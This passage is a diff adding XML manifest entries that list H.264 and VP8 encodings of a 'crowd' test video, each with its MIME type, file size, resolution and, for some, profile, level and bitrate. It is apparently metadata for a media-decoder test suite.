+  <entry key="h264/yuv420/8bit/mp/slices/crowd_854x480p50f32/crowd_854x480p50f32_gt1_slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=126270,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=1562608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_854x480p50f32/crowd_854x480p50f32_lt1_slices_perrow_mp.mp4">
+    <value>mime=video/avc,size=125529,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=1553344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_854x480p50f32/crowd_854x480p50f32_max128slices_mp.mp4">
+    <value>mime=video/avc,size=155222,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=1924512,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_854x480p50f32/crowd_854x480p50f32_max64slices_mp.mp4">
+    <value>mime=video/avc,size=135195,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=1674168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/slices/crowd_854x480p50f32/crowd_854x480p50f32_slicerows_mp.mp4">
+    <value>mime=video/avc,size=126151,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=1561120,max-bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/bitrate/crowd_640x360p24f300_1000kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1588213,width=640,height=360,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/bitrate/crowd_640x360p25f300_1000kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1523834,width=640,height=360,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/bitrate/crowd_640x360p30f300_1000kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1274889,width=640,height=360,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/bitrate/crowd_640x360p48f300_1500kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1213728,width=640,height=360,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/bitrate/crowd_640x360p50f300_1500kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1171849,width=640,height=360,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/bitrate/crowd_640x360p60f300_1500kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=976943,width=640,height=360,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/bitrate/crowd_854x480p60f300_4000kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=2556400,width=854,height=480,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_arnr_0f_0s_2t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_arnr_0f_5s_1t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_arnr_0f_5s_2t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_arnr_15f_0s_2t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_arnr_15f_5s_2t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_arnr_5f_0s_2t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_arnr_5f_5s_2t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_arnr_5f_5s_3t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_autAltRef_8lag.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_autAltRef.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_cbr.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=465865,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_cq10.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_cq16.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_cq32.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_cq4.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_cq63.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_downScale_10_noKey.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_downScale_20_noKey.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_downScale_50_noKey.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_downScale_80_noKey.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_errRes.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=466951,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_keyFrmOnly.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=959539,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_alternateKey_1x4.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=959539,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_key240_1x4.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_key30_1x4.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=538038,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_key60_1x4.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_key90_1x4.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noKeyFrm.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_nonErrRes.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_Qp0-63.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_Qp10-20.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=2166576,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_Qp20-30.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1318194,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_Qp30-40.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=797102,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_Qp32.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1159533,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_Qp40-50.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=433263,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_Qp50-63.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=187565,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_Qp63.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=156325,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sharp0.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sharp1.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=480156,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sharp2.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=480800,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sharp3.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=480634,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sharp4.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=480522,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sharp5.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=481205,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sharp6.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=481683,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sharp7.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=481482,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_skip5frm.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=427638,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_upScale_100.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_upScale_10.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_upScale_20.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_upScale_50.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vbr.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=473409,width=1280,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_arnr_0f_0s_2t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_arnr_0f_5s_1t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_arnr_0f_5s_2t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_arnr_15f_0s_2t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_arnr_15f_5s_2t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_arnr_5f_0s_2t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_arnr_5f_5s_2t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_arnr_5f_5s_3t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_autAltRef_8lag.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_autAltRef.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_cbr.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=944217,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_cq10.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_cq16.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_cq32.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_cq4.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_cq63.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_downScale_10_noKey.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_downScale_20_noKey.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_downScale_50_noKey.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_downScale_80_noKey.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_errRes.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=948479,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_keyFrmOnly.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1867013,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_alternateKey_1x4.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1867013,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_key240_1x4.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_key30_1x4.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1073315,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_key60_1x4.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_key90_1x4.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noKeyFrm.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_nonErrRes.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_Qp0-63.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_Qp20-30.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=2386967,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_Qp30-40.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=1452420,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_Qp32.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=2099809,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_Qp40-50.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=810441,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_Qp50-63.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=360075,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_Qp63.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=312819,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_sharp0.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_sharp1.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=970135,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_sharp2.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=972097,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_sharp3.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=970902,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_sharp4.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=972296,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_sharp5.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=972487,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_sharp6.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=973350,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_sharp7.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=974742,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_skip5frm.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=859741,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_upScale_100.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_upScale_10.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_upScale_20.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_upScale_50.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_vbr.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=957687,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_Qp40-50.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=2138734,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_Qp50-63.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=989564,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_Qp63.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=725067,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_arnr_0f_0s_2t.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=124794,width=640,height=360,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
